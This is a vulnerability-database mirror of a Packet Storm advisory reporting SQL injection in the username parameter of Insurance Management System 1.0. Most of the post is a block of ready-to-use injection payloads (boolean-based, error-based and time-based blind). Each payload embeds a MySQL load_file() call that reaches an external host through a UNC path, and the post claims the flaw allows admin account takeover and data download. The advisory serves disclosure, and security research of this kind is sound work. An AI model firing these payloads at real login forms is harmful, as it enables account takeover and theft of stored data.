Lucene search
K

Insurance Management System 1.0 SQL Injection

🗓️ 14 Mar 2022 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 282 Views

Insurance Management System v1.0 SQL Injection. Vulnerable username parameter for SQL injection attack, allowing attacker to take control of admin and user accounts, and download system information

Code
`## Title: Insurance Management System v1.0 SQLi  
## Author: nu11secur1ty  
## Date: 03.12.2022  
## Vendor: https://itsourcecode.com/free-projects/php-project/php-projects-source-code-free-downloads/  
## Software: https://itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System  
  
## Description:  
The username parameter appears to be vulnerable to SQL injection  
attacks. The payload '+(select  
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+'  
was submitted in the username parameter.  
This payload injects a SQL sub-query that calls MySQL's load_file  
function with a UNC file path that references a URL on an external  
domain.  
The application interacted with that domain, indicating that the  
injected SQL query was executed.  
The attacker can take administrator account control and also of all  
accounts on this system, also the malicious user can download all  
information about this system.  
  
Status: CRITICAL  
  
[+] Payloads:  
  
```mysql  
---  
Parameter: username (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)  
Payload: username=GvWNfNIz'+(select  
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''  
AND 7122=(SELECT (CASE WHEN (7122=7122) THEN 7122 ELSE (SELECT 6385  
UNION SELECT 2068) END))-- -&password=y6E!b3n!T9  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: username=GvWNfNIz'+(select  
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''  
AND (SELECT 3405 FROM(SELECT COUNT(*),CONCAT(0x7178767671,(SELECT  
(ELT(3405=3405,1))),0x7178627871,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zJzm&password=y6E!b3n!T9  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=GvWNfNIz'+(select  
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''  
AND (SELECT 5739 FROM (SELECT(SLEEP(5)))crqV)--  
pBFE&password=y6E!b3n!T9  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System)  
  
## Proof and Exploit:  
[href](https://streamable.com/iyml42)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Mar 2022 00:00Current
7.4High risk
Vulners AI Score7.4
282